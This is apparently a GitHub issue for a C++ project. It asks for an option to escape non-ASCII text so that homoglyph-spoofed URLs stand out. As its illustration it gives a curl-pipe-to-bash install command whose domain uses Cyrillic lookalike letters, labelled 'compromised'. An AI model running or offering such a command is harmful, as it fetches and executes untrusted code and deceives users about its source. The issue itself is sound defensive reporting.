security feature: option to escape non-ascii text content
Open
- Dominant language
- C++
- Stars
- 12.3k
- Forks
- 593
- Avg merge
- 2d 8h
- Merged PRs (30d)
- 9
Description
Apparently harmless, but [compromised content can be executed](https://github.com/sheeki03/tirith) in shell:
```
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
```
There should be an option that allows escaping non-ascii text content.
Contributor guide
No contributing guide indexed for this repository
Assessment
This issue has not been assessed yet.